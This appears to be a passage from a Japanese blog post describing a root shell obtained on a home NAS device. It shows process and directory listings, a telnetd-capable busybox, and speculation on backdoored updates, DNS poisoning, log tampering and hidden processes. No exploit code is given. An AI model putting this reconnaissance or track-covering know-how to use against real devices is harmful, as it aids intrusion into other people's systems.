? S 0:00 /usr/sbin/apache2 -k start 3681 ? S 0:00 /usr/sbin/apache2 -k start 3695 ? S 0:00 /usr/sbin/apache2 -k start 3885 ? S 0:00 /usr/sbin/apache2 -k start 3892 ? S 0:00 /usr/sbin/apache2 -k start 4583 pts/0 Ss 0:00 /bin/sh 26374 ? S 0:00 sleep 30 26486 ? S 0:00 sleep 1 26487 pts/0 R+ 0:00 ps ax
なんかスリープしているシェルスクリプトがあって、キモい。
コマンド。
sh-3.1# ls /sbin/ MAKEDEV fsck.reiserfs mkdosfs reiserfstune apcaccess fsck.vfat mke2fs resize2fs apctest fsck.xfs mkfs resize_reiserfs apcupsd getty mkfs.cramfs rmmod badblocks halt mkfs.ext2 rmmod.modutils blkid hdparm mkfs.ext3 route blockdev hotplug mkfs.minix runlevel bootlogd hwclock mkfs.msdos sfdisk cfdisk ifconfig mkfs.reiserfs shadowconfig daemonize ifdown mkfs.vfat shutdown debugfs ifup mkfs.xfs slattach debugreiserfs init mkreiserfs smtp depmod insmod mkswap start-stop-daemon dmsetup installkernel modinfo startpar dosfsck ipmaddr modprobe sulogin dumpe2fs iptunnel modprobe.modutils swapoff e2fsck isosize mount.fuse swapon e2image kallsyms nameif sysctl e2label killall5 parted telinit fdisk ksyms partprobe tune2fs findfs ldconfig pivot_root udhcpc fsck logsave plipconfig unix_chkpwd fsck.cramfs losetup powerflute update-modules fsck.ext2 lsmod poweroff xfs_repair fsck.ext3 lsmod.modutils rarp xfsdump fsck.minix mdadm raw xfsrestore fsck.msdos mdrun reboot fsck.nfs mii-tool reiserfsck
sh-3.1# ls /bin/ arch dmesg hostname mount-bin pwd tar zegrep bash dnsdomainname kill mountpoint rbash tempfile zfgrep cat echo ln mt readlink touch zforce chgrp ed login mt-gnu rm true zgrep chmod egrep ls mv rmdir umount zless chown false lsmod nc run-parts uname zmore cp fgrep lsmod.modutils netcat sed uncompress znew cpio fuser mkdir netstat sh vdir date grep mknod pidof sleep which dd gunzip mktemp ping stty zcat df gzexe more ping6 su zcmp dir gzip mount ps sync zdiff
sh-3.1# ls /usr/sbin/ a2dismod groupadd pwconv update-inetd a2dissite groupdel pwunconv update-locale a2enmod groupmod rdate update-mime a2ensite grpck readprofile update-passwd ab grpconv remove-shell update-rc.d add-shell grpunconv rmt update-usbids addgroup htcacheclean rmt-tar update-xmlcatalog adduser httxt2dbm rotatelogs usbmodules afpd iconvconfig safe_finger useradd apache2 ifplugd slpd userdel apache2ctl ifplugstatus smartctl usermod arp ifstatus smartctl-bin validlocale atalkd in.proftpd smartd vigr avahi-daemon inetd smbd vipw check_forensic install-info smbldap-groupadd winbindd checkgid install-sgmlcatalog smbldap-groupdel xfs_admin chgpasswd invoke-rc.d smbldap-groupmod xfs_bmap chpasswd laptop-detect smbldap-groupshow xfs_check chroot locale-gen smbldap-passwd xfs_copy cleanup-info logresolve smbldap-populate xfs_db cnid_dbd logrotate smbldap-useradd xfs_estimate cnid_metad lsusb smbldap-userdel xfs_freeze cpgr mkboot smbldap-userinfo xfs_fsr cppw mklost+found smbldap-usermod xfs_growfs cron mksmbpasswd smbldap-usershow xfs_info cytune mt-daapd snmpd xfs_io delgroup mt-daapd.nosjis snmptrapd xfs_logprint deluser mt-daapd.sjis split-logfile xfs_mdrestore dpkg-divert netatalk-uniconv sysv-rc-conf xfs_metadump dpkg-preconfigure newusers tcpd xfs_mkfile dpkg-reconfigure nmbd tcpdchk xfs_ncheck dpkg-statoverride nologin tcpdmatch xfs_quota elvtune ntpdate tcpdump xfs_rtcp ethtool ntpdate-debian timelord xfsdump filefrag pam_getenv traceroute xfsinvutil ftpasswd pam_tally try-from xfsrestore ftpquota papd tunelp zic ftpscrub proftpd tzconfig ftpshut proftpd-gencert update-alternatives ftpstats pwck update-catalog
sh-3.1# ls /usr/bin/ 411toppm iconv pl2pm sg GET id pmap sg_dd HEAD ilbmtoppm pngtopnm sg_emc_trespass POST imgtoppm pnmalias sg_format X infocmp pnmarith sg_get_config X11 infotocap pnmcat sg_ident [ install pnmcolormap sg_inq a2p instmodsh pnmcomp sg_logs add_netatalk_printer ipcrm pnmconvol sg_luns addr2line ipcs pnmcrop sg_map adv1tov2 jhead pnmcut sg_map26 aecho join pnmdepth sg_modes afpldaptest jpegexiforient pnmenlarge sg_opcodes afppasswd jpegtopnm pnmfile sg_persist anytopnm jpegtran pnmflip sg_prevent apple_dump killall pnmgamma sg_rbuf apt-cache last pnmhisteq sg_rdac apt-cdrom lastb pnmhistmap sg_read apt-config lastlog pnmindex sg_read_long apt-extracttemplates lcf pnminterp sg_readcap apt-ftparchive ld pnminterp-gen sg_reassign apt-get ldd pnminvert sg_requests apt-key leaftoppm pnmmargin sg_reset apt-sortpkgs less pnmmontage sg_rmsn aptitude lessecho pnmnlfilt sg_rtpg ar lessfile pnmnoraw sg_scan arm-linux-gnu-cpp-4.1 lesskey pnmnorm sg_senddiag as lesspipe pnmpad sg_ses asciitopgm lgrep pnmpaste sg_start asip-status.pl libnetcfg pnmpsnr sg_sync atktopbm line pnmquant sg_test_rwbuf awk link pnmremap sg_turs basename lispmtopgm pnmrotate sg_verify bashbug locale pnmscale sg_vpd berkeley_db4.2_svc localedef pnmscalefixed sg_wr_mode binheader locate pnmshear sg_write_long bioradtopgm logger pnmsmooth sginfo bmptopnm logname pnmsplit sgitopnm bmptoppm look pnmtile sgm_dd brushtopbm lorder pnmtoddif sgp_dd bsd-write lp2pap.sh pnmtofiasco sha1sum c++filt lsattr pnmtofits sha224sum c2ph lsof pnmtojpeg sha256sum c_rehash lspgpot pnmtopalm sha384sum cal lsusb pnmtoplainpnm sha512sum calendar lv pnmtopng showppd captoinfo lwp-download pnmtops shred catchsegv lwp-mirror pnmtorast single2bin chage lwp-request pnmtorle sirtopnm chattr lwp-rget pnmtosgi size chcon macbinary pnmtosir skill chfn macptopbm pnmtotiff slabtop chkdupexe macusers pnmtotiffcmyk sldtoppm chsh make pnmtoxwd slogin cjpeg mawk pod2html slptool cksum mcookie pod2latex smbcacls clear md5sum pod2man smbclient clear_console md5sum.textutils pod2text smbcontrol cmp mdatopbm pod2usage smbcquotas cmuwmtopbm megatron podchecker smbget cnid2_create mesg podselect smbpasswd col mgrtopbm ppm3d smbspool colcrt mkfifo ppmbrighten smbstatus colrm mtvtoppm ppmchange smbtar column nadheader ppmcie smbtree comm namei ppmcolormask snice compose nawk ppmcolors snmpbulkget cpan nbplkup ppmdim snmpbulkwalk cpp-4.1 nbprgstr ppmdist snmpconf crontab nbpunrgstr ppmdither snmpdelta csplit ncal ppmfade snmpdf cut neotoppm ppmflash snmpget db4.2_archive net ppmforge snmpgetnext db4.2_checkpoint net-snmp-config ppmhist snmpinform db4.2_deadlock newgrp ppmlabel snmpnetstat db4.2_dump nice ppmmake snmpset db4.2_load nl ppmmix snmpstatus db4.2_printlog nm ppmnorm snmptable db4.2_recover nmblookup ppmntsc snmptest db4.2_stat nohup ppmpat snmptranslate db4.2_upgrade nslookup ppmquant snmptrap db4.2_verify nsupdate ppmquantall snmpusm dbd ntlm_auth ppmqvga snmpvacm dbmmanage objcopy ppmrainbow snmpwalk dbus-cleanup-sockets objdump ppmrelief sort dbus-daemon od ppmshadow spctoppm dbus-launch oldfuser ppmshift splain dbus-send openssl ppmspread split dbus-uuidgen pager ppmtoacad sputoppm ddate palmtopnm ppmtobmp ssh debconf pamcut ppmtoeyuv ssh-add debconf-apt-progress pamdeinterlace ppmtogif ssh-agent debconf-communicate pamdice ppmtoicr ssh-argv0 debconf-copydb pamfile ppmtoilbm ssh-copy-id debconf-escape pamoil ppmtojpeg ssh-keygen debconf-get-selections pamstack ppmtoleaf ssh-keyscan debconf-getlang pamstretch ppmtolj ssh-vulnkey debconf-loadtemplate pamstretch-gen ppmtomap st4topgm debconf-mergetemplate pap ppmtomitsu stat debconf-set-selections papstatus ppmtompeg strace debconf-show passwd ppmtoneo strings dexconf paste ppmtopcx strip dh_installxmlcatalogs pathchk ppmtopgm sum dh_pycentral pbmclean ppmtopi1 tac diff pbmlife ppmtopict tack diff3 pbmmake ppmtopj tail dig pbmmask ppmtopuzz tdbbackup dircolors pbmpage ppmtorgb3 tee dirname pbmpscale ppmtosixel test djpeg pbmreduce ppmtotga testparm dotlockfile pbmtext ppmtouil tgatoppm dpkg pbmtextps ppmtowinicon thinkjettopbm dpkg-deb pbmto10x ppmtoxpm tic dpkg-query pbmtoascii ppmtoyuv tifftopnm dpkg-split pbmtoatk ppmtoyuvsplit tload dprofpp pbmtobbnbg ppmtv toe dselect pbmtocmuwm pr top du pbmtoepsi prename touch edit pbmtoepson print tput editor pbmtog3 printenv tr enc2xs pbmtogem printf traceroute encode_keychange pbmtogo profiles traceroute.lbl env pbmtoicon prove traptoemail eventlogadm pbmtolj psed tset ex pbmtomacp psidtopgm tsort exifautotran pbmtomda psorder tty expand pbmtomgr pstopnm tzselect expiry pbmtonokia pstree ucf expr pbmtopgm pstree.x11 ucfq eyuvtoppm pbmtopi3 pstruct ucfr factor pbmtoplot ptx ul faillog pbmtoppa pwdx umap fdformat pbmtopsg3 py_compilefiles unbin fiascotopnm pbmtoptx pycentral unexpand file pbmtowbmp pydoc unhex find pbmtox10bm pydoc2.5 uniq find2perl pbmtoxbm pygettext unlink findsmb pbmtoybm pygettext2.5 unsingle fitstopnm pbmtozinc python updatedb fixproc pbmupc python2.4 uptime fmt pcretest python2.5 usbmodules fold pcxtoppm pyversions users free pdb qrencode uuidgen from pdb2.5 qrttoppm vi fstopgm pdbedit ranlib view ftpcount pear rasttopnm vim ftpdctl peardev rawtopgm vim.tiny ftptop pecl rawtoppm vimdiff ftpwho perl rc vmstat fusermount perl5.8.8 rcp w g3topbm perlbug rdjpgcom w.procps gemtopbm perlcc readelf wall gemtopnm perldoc red watch getconf perldoc.stub rename wbinfo getent perlivp renice wbmptopbm getopt pg reset wc getzones pgmbentley rev wget giftopnm pgmcrater rgb3toppm whereis gouldtoppm pgmedge rgrep which gpasswd pgmenhance rletopnm whiptail gpg pgmhist rlogin who gpg-convert-from-106 pgmkernel rpcclient whoami gpg-zip pgmnoise rpcinfo winicontoppm gpgsplit pgmnorm rsh write gpgv pgmoil run-mailcap wrjpgcom gphoto2 pgmramp runcon xargs gphotofs pgmslice rview xbmtopbm gprof pgmtexture rvim ximtoppm groups pgmtofs s2p xpmtoppm h2ph pgmtolispm savelog xsubpp h2xs pgmtopbm sbigtopgm xvminitoppm hd pgmtoppm scp xwdtopnm head pgrep script xxd helpztags php scriptreplay ybmtopbm hexdump php-cgi sdiff yes hipstopgm php5 see yuvsplittoppm host php5-cgi sensible-browser yuvtoppm hostid pi1toppm sensible-editor zdump hqx2bin pi3topbm sensible-pager zeisstopnm htdbm piconv seq zip htdigest pinky setsid zipcloak htpasswd pjtoppm setterm zipnote icontopbm pkill sftp zipsplit
sh-3.1# ls /usr/local/sbin/ smartctl6 telnetd
sh-3.1# ls /usr/local/bin/ HDLFind fw_unlock pildriver.py HDLFind_port65 getfwver.sh pilfile.py HDLFind_port65_set.sh getfwxmlurl.sh pilfont.py HDLFind_set.sh getmodel.sh pilprint.py HDL_ip_update getnewfwver.sh port_update.php HDL_log getproduct_for_pv raps_command HDL_notify_clear getserial_for_pv refresh_proc_lock.php HDL_poweroff getsupporturl.sh remotelink3.php HDL_remotelink3_startup getxmlattr.py remount.sh HDL_reset getxmltext.py reset.php _log.cgi init.php rl3_pincode.sh _log.sh isaudiomodel.sh rl3_portgen.sh busybox islandiskmodel.sh rl3_qrcodefmt.sh check_firmware_ver.php issolidmodel.sh rl3_setting.sh chkbtnled.sh isstatic.sh share.php chkpasswd.py issuccessdhcp.sh shutdown.php chkstandby iswithouttownkymodel.sh shutdown.sh daemonize ledcont sudo dellog.php logging.php twonky_controller devmem2 makelltd.php twonky_setting.sh dpws_setting.sh microsoft.php twonky_user.sh easy_install mvsactl udhcpc.sh easy_install-2.5 network.php upnp_tool.pl firmware_schedule_setting.php ntpdate.php usbhdmng flock pac_utils.js verup.sh format.php pactester wait_while_logon.php fw_lock password.php xml_readable.py fw_printenv php_readable.php fw_setenv pilconvert.py
busyboxは結構削られている。
sh-3.1# /usr/local/bin/busybox Using fallback suid method BusyBox v1.00 (2014.07.28-10:35+0000) multi-call binary Usage: busybox [function] [arguments]... or: [function] [arguments]... BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as. Currently defined functions: busybox, freeramdisk, klogd, logger, login, syslogd, telnetd, udhcpc
というわけで、比較的簡単に侵入できてしまった
でも、あとはやりたいことがないのだよな...
ははは。
せめて、USBの口くらいあるといいのにな。
今回は手動アップデートで侵入したけど、オンライン自動アップデート方式のデバイスだと、リモートからルーターハックされてDNSアナウンス書き換えられたり、WiFiに入られてニセDNS立てるようなdns poisonigとかかまされて、ほんとにバックドア流し込まれて、botnetの使徒とか、無断amazonアフィリエイトproxyになる可能性もあるから、なんか怖いよな。
入ってしまえば、アップデートのログくらい、後からいくらでも書き換えできるし、そもそもログに残らないようなアップデート成功プロセスも作れるかもしれない。
痕跡を消すのは簡単。
見えないプロセスを動かすのも、メモリ使用量をごまかすのも、わりと既知の技術でできるし...
まったく普通に動いているようでいて、外からの指示でいろいろ使われるとか、気がつかないので一番やっかいだわ。